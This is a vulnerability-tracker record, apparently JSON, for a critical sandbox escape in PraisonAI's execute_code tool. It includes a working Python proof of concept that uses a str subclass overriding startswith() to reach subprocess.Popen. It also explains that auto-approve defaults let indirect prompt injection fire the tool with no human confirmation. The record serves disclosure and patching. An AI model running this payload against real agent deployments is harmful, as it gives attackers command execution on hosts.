{"id":"CVE-2026-34938","kind":"vulnerability","aliases":["CVE-2026-34938","GHSA-6vh2-h83c-9294"],"related":[],"title":"PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code","description":"### Summary\n\n`execute_code()` in `praisonai-agents` runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a `str` subclass with an overridden `startswith()` method to the `_safe_getattr` wrapper, achieving arbitrary OS command execution on the host.\n\n### Details\n\n`python_tools.py:20` (source) -> `python_tools.py:22` (guard bypass) -> `python_tools.py:161` (sink)\n```python\n# source -- _safe_getattr accepts any str subclass\ndef _safe_getattr(obj, name, *default):\n    if isinstance(name, str) and name.startswith('_'):  # isinstance passes for subclasses\n        raise AttributeError(...)\n\n# hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword\nFakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False})\n\n# sink -- Popen reached via __subclasses__ walk\nr = Popen(['id'], stdout=PIPE, stderr=PIPE)\n```\n\n### PoC\n```python\n\nfrom praisonaiagents.tools.python_tools import execute_code\n\npayload = \"\"\"\nt = type\nFakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False})\n\nmro_attr  = FakeStr(''.join(['_','_','m','r','o','_','_']))\nsubs_attr = FakeStr(''.join(['_','_','s','u','b','c','l','a','s','s','e','s','_','_']))\nmod_attr  = FakeStr(''.join(['_','_','m','o','d','u','l','e','_','_']))\nname_attr = FakeStr(''.join(['_','_','n','a','m','e','_','_']))\nPIPE = -1\n\nobj_class = getattr(type(()), mro_attr)[1]\nfor cls in getattr(obj_class, subs_attr)():\n    try:\n        m = getattr(cls, mod_attr, '')\n        n = getattr(cls, name_attr, '')\n        if m == 'subprocess' and n == 'Popen':\n            r = cls(['id'], stdout=PIPE, stderr=PIPE)\n            out, err = r.communicate()\n            print('RCE:', out.decode())\n            break\n    except Exception as e:\n        print('ERR:', e)\n\"\"\"\n\nresult = execute_code(code=payload)\nprint(result)\n# expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)...\n```\n\n### Impact\n\nAny user or agent pipeline running `execute_code()` is exposed to full OS command execution as the process user. Deployments using `bot.py`, `autonomy_mode.py`, or `bots_cli.py` set `PRAISONAI_AUTO_APPROVE=true` by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.","summary":"PraisonAI's execute_code tool runs Python in a sandbox that can be bypassed with a crafted str subclass that overrides startswith(), reaching subprocess.Popen. An attacker who can supply code to the tool, including through indirect prompt injection, gets arbitrary OS command execution as the process user.","severity":"critical","cvss":10.0,"epss":0.13398,"exploited":false,"exploited_at":null,"products":[{"name":"praisonaiagents","fixed":["1.5.90"],"affected":"<= 1.5.89","ecosystem":"pypi"},{"name":"praison praisonaiagents","fixed":["1.5.90"],"affected":"< 1.5.90","ecosystem":"vendor"},{"via":"cpe","name":"praisonaiagents","fixed":["1.5.90"],"affected":"< 1.5.90","ecosystem":"pypi"}],"ecosystems":["pypi","vendor"],"tags":["ai-agents","ai-tooling","cwe-693","praisonai","pypi","python"],"not_affected_if":["execute-code-unused","version-1.5.90-or-later"],"how_to_check":"- Check the installed version of `praisonaiagents` with `pip show praisonaiagents`; affected versions are `1.5.89` and below.\n- Look for uses of `execute_code` from `praisonaiagents.tools.python_tools` in your code or agent pipelines.\n- Check whether `PRAISONAI_AUTO_APPROVE` is set to `true`, which the advisory says is the default for `bot.py`, `autonomy_mode.py` and `bots_cli.py`.","fix":"- `praisonaiagents` (pypi): move to `1.5.90` or later.","status":"open","published_at":"2026-04-01T23:17:48+00:00","first_seen_at":"2026-11-16T16:03:23+00:00","triaged_at":"2026-11-16T16:04:40+00:00","updated_at":"2026-11-16T16:08:50+00:00","category":"ai-tooling","confidence":0.85,"triage":{"at":"2026-11-16T16:04:40Z","model":"claude-haiku-5-5","output":{"fix":"- `praisonaiagents` (pypi): move to `1.5.90` or later.","reach":"internet","title":"PraisonAI: Python sandbox escape lets attackers run OS commands","impact":"high","summary":"PraisonAI's execute_code tool runs Python in a sandbox that can be bypassed with a crafted str subclass that overrides startswith(), reaching subprocess.Popen. An attacker who can supply code to the tool, including through indirect prompt injection, gets arbitrary OS command execution as the process user.","audience":"developers","category":"ai-tooling","nicknames":[],"who_cares":["python","ai-agents","praisonai","pypi"],"confidence":0.85,"fix_status":"available","needs_auth":"no","worst_case":"Attacker runs arbitrary OS commands as the host process user","analyst_note":"","how_to_check":"- Check the installed version of `praisonaiagents` with `pip show praisonaiagents`; affected versions are `1.5.89` and below.\n- Look for uses of `execute_code` from `praisonaiagents.tools.python_tools` in your code or agent pipelines.\n- Check whether `PRAISONAI_AUTO_APPROVE` is set to `true`, which the advisory says is the default for `bot.py`, `autonomy_mode.py` and `bots_cli.py`.","plain_action":"","product_name":"","needs_analyst":false,"not_affected_if":["version-1.5.90-or-later","execute-code-unused"],"who_is_affected":"Teams running the praisonaiagents Python package with its execute_code tool exposed to untrusted input, such as user prompts or content an agent reads. The advisory says deployments using bot.py, autonomy_mode.py or bots_cli.py default to auto-approval, so no human confirms the tool call. Projects that do not install praisonaiagents or never call execute_code are not affected.","user_interaction":"no","product_ecosystem":"","needs_special_setup":"yes","severity_if_unknown":"critical"},"cost_usd":0.000894,"input_tokens":5531,"output_tokens":681,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-1':261C '-2026':14A,22A '-34938':15A,23A '-693':35B '1':268C '1000':326C,329C,332C '6vh2':18A '9294':20A 'accept':144C 'achiev':124C 'agent':30B,92C,338C 'ai':29B,32B 'ai-ag':28B 'ai-tool':31B 'approv':363C 'arbitrari':78B,125C 'attack':64B,95C 'attacker-control':94C 'attr':222C,229C,243C,253C,267C,276C,282C,287C 'attributeerror':165C 'auto':362C 'autonomy_mode.py':357C 'b':234C 'bot.py':356C 'bots_cli.py':359C 'break':307C 'builtin':172C 'bypass':52B,108C,137C 'c':235C 'class':177C,263C,274C 'cls':270C,280C,285C,295C 'code':12A,42B,68B,88C,208C,317C,318C,342C 'command':80B,127C,348C 'confirm':370C 'control':96C 'craft':55B 'creat':173C 'cve':13A,21A 'cwe':34B 'd':248C 'def':148C 'default':153C,366C 'deploy':354C 'detail':132C 'e':240C,251C,259C,311C,314C 'err':302C,313C 'escap':4A 'except':308C,309C 'execut':11A,41B,81B,87C,128C,207C,316C,341C,349C 'expect':322C 'expos':344C 'fakestr':179C,181C,212C,214C,223C,230C,244C,254C 'fals':187C,220C 'fire':376C 'full':346C 'fulli':107C 'get':77B 'getattr':122C,143C,150C,264C,272C,279C,284C 'ghsa':17A 'ghsa-6vh2-h83c':16A 'gid':328C 'group':331C 'guard':136C 'h83c':19A 'hop':166C 'host':131C 'human':369C 'id':196C,296C 'impact':334C 'import':206C 'includ':72B 'indirect':74B,381C 'inject':76B,383C 'insid':98C 'isinst':155C,160C 'join':224C,231C,245C,255C 'keyword':178C 'l':236C,250C 'lambda':184C,217C 'layer':102C 'm':225C,246C,258C,278C,289C 'mean':367C 'method':118C 'mod':242C,281C 'mro':221C,266C 'n':256C,283C,292C 'name':152C,156C,252C,286C 'name.startswith':159C 'narey':327C,330C,333C 'o':227C,247C 'obj':151C,262C,273C 'os':79B,126C,347C 'out.decode':306C 'output':323C 'overrid':9A,59B 'overridden':116C 'pass':110C,161C 'payload':209C,319C 'pipe':198C,200C,260C,298C,300C 'pipelin':339C 'poc':201C 'popen':189C,195C,293C 'praison':25A 'praisonai':1A,36B,39B,91C,361C 'praisonai-ag':90C 'praisonaiagents':24A,26A,27A 'praisonaiagents.tools.python':204C 'print':304C,312C,320C 'process':84B,352C 'prompt':75B,382C 'pypi':37B 'python':2A,38B,45B,97C,140C,202C 'python_tools.py:161':138C 'python_tools.py:20':133C 'python_tools.py:22':135C 'r':194C,226C,294C 'r.communicate':303C 'rais':164C 'rce':305C,324C 'reach':61B,190C 'requir':372C 'result':315C,321C 'run':44B,93C,340C 'safe':121C,142C,149C,171C 'sandbox':3A,48B,103C 'self':185C,218C 'set':360C 'silent':377C 'sink':139C,188C 'sourc':134C,141C 'startswith':8A,60B,117C,183C,216C 'stderr':199C,299C 'stdout':197C,297C 'str':6A,56B,112C,146C,157C,174C,182C,215C 'sub':228C,275C 'subclass':7A,57B,113C,147C,163C,175C,192C 'subprocess':290C 'subprocess.popen':62B 'summari':86C 'suppli':67B 'three':101C 'three-lay':100C 'tool':33B,43B,71B,205C,375C 'tri':277C 'trigger':379C 'true':364C 'type':167C,180C,211C,265C 'u':233C,249C 'uid':325C 'use':355C 'user':85B,336C,353C 'via':5A,191C,380C 'walk':193C 'whitelist':169C 'without':176C 'wrapper':123C","nicknames":[],"mitigations":[],"who_affected":"Teams running the praisonaiagents Python package with its execute_code tool exposed to untrusted input, such as user prompts or content an agent reads. The advisory says deployments using bot.py, autonomy_mode.py or bots_cli.py default to auto-approval, so no human confirms the tool call. Projects that do not install praisonaiagents or never call execute_code are not affected.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["praisonaiagents","praisonpraisonaiagents"],"ptokens":["praison","praisonaiagents"],"labels":["aiagents","aitooling","critical","cwe693","praisonai","pypi","python","vendor"],"campaign_type":null,"search_a":"'-2026':14A,22A '-34938':15A,23A '6vh2':18A '9294':20A 'code':12A 'cve':13A,21A 'escap':4A 'execut':11A 'ghsa':17A 'ghsa-6vh2-h83c':16A 'h83c':19A 'overrid':9A 'praison':25A 'praisonai':1A 'praisonaiagents':24A,26A,27A 'python':2A 'sandbox':3A 'startswith':8A 'str':6A 'subclass':7A 'via':5A","search_b":"'-693':35B 'agent':30B 'ai':29B,32B 'ai-ag':28B 'ai-tool':31B 'arbitrari':78B 'attack':64B 'bypass':52B 'code':42B,68B 'command':80B 'craft':55B 'cwe':34B 'execut':41B,81B 'get':77B 'includ':72B 'indirect':74B 'inject':76B 'os':79B 'overrid':59B 'praisonai':36B,39B 'process':84B 'prompt':75B 'pypi':37B 'python':38B,45B 'reach':61B 'run':44B 'sandbox':48B 'startswith':60B 'str':56B 'subclass':57B 'subprocess.popen':62B 'suppli':67B 'tool':33B,43B,71B 'user':85B","search_c":"'-1':261C '1':268C '1000':326C,329C,332C 'accept':144C 'achiev':124C 'agent':92C,338C 'approv':363C 'arbitrari':125C 'attack':95C 'attacker-control':94C 'attr':222C,229C,243C,253C,267C,276C,282C,287C 'attributeerror':165C 'auto':362C 'autonomy_mode.py':357C 'b':234C 'bot.py':356C 'bots_cli.py':359C 'break':307C 'builtin':172C 'bypass':108C,137C 'c':235C 'class':177C,263C,274C 'cls':270C,280C,285C,295C 'code':88C,208C,317C,318C,342C 'command':127C,348C 'confirm':370C 'control':96C 'creat':173C 'd':248C 'def':148C 'default':153C,366C 'deploy':354C 'detail':132C 'e':240C,251C,259C,311C,314C 'err':302C,313C 'except':308C,309C 'execut':87C,128C,207C,316C,341C,349C 'expect':322C 'expos':344C 'fakestr':179C,181C,212C,214C,223C,230C,244C,254C 'fals':187C,220C 'fire':376C 'full':346C 'fulli':107C 'getattr':122C,143C,150C,264C,272C,279C,284C 'gid':328C 'group':331C 'guard':136C 'hop':166C 'host':131C 'human':369C 'id':196C,296C 'impact':334C 'import':206C 'indirect':381C 'inject':383C 'insid':98C 'isinst':155C,160C 'join':224C,231C,245C,255C 'keyword':178C 'l':236C,250C 'lambda':184C,217C 'layer':102C 'm':225C,246C,258C,278C,289C 'mean':367C 'method':118C 'mod':242C,281C 'mro':221C,266C 'n':256C,283C,292C 'name':152C,156C,252C,286C 'name.startswith':159C 'narey':327C,330C,333C 'o':227C,247C 'obj':151C,262C,273C 'os':126C,347C 'out.decode':306C 'output':323C 'overridden':116C 'pass':110C,161C 'payload':209C,319C 'pipe':198C,200C,260C,298C,300C 'pipelin':339C 'poc':201C 'popen':189C,195C,293C 'praisonai':91C,361C 'praisonai-ag':90C 'praisonaiagents.tools.python':204C 'print':304C,312C,320C 'process':352C 'prompt':382C 'python':97C,140C,202C 'python_tools.py:161':138C 'python_tools.py:20':133C 'python_tools.py:22':135C 'r':194C,226C,294C 'r.communicate':303C 'rais':164C 'rce':305C,324C 'reach':190C 'requir':372C 'result':315C,321C 'run':93C,340C 'safe':121C,142C,149C,171C 'sandbox':103C 'self':185C,218C 'set':360C 'silent':377C 'sink':139C,188C 'sourc':134C,141C 'startswith':117C,183C,216C 'stderr':199C,299C 'stdout':197C,297C 'str':112C,146C,157C,174C,182C,215C 'sub':228C,275C 'subclass':113C,147C,163C,175C,192C 'subprocess':290C 'summari':86C 'three':101C 'three-lay':100C 'tool':205C,375C 'tri':277C 'trigger':379C 'true':364C 'type':167C,180C,211C,265C 'u':233C,249C 'uid':325C 'use':355C 'user':336C,353C 'via':191C,380C 'walk':193C 'whitelist':169C 'without':176C 'wrapper':123C","cause_entry":null,"cause_path":null,"disclosures_checked_at":null,"first_public_at":"2026-03-31T11:14:21+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-6vh2-h83c-9294","url":"https://github.com/advisories/GHSA-6vh2-h83c-9294","severity":"critical","published_at":"2026-04-01T23:17:48+00:00","modified_at":"2026-11-16T16:01:13+00:00","first_seen_at":"2026-11-16T16:03:23+00:00","fetched_at":"2026-11-16T16:07:02+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-34938","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34938","severity":null,"published_at":"2026-04-03T23:17:06+00:00","modified_at":"2026-07-24T22:10:00+00:00","first_seen_at":"2026-11-16T16:08:50+00:00","fetched_at":"2026-11-16T16:08:50+00:00","note":null}],"documents":[{"id":170868,"url":"https://api.github.com/repos/MervinPraison/PraisonAI/security-advisories/GHSA-6vh2-h83c-9294","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":170869,"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6vh2-h83c-9294","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-03-31T11:14:21+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"}],"disclosures":[],"exploit_sources":[{"type":"epss","score":0.13398,"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-34938"}],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}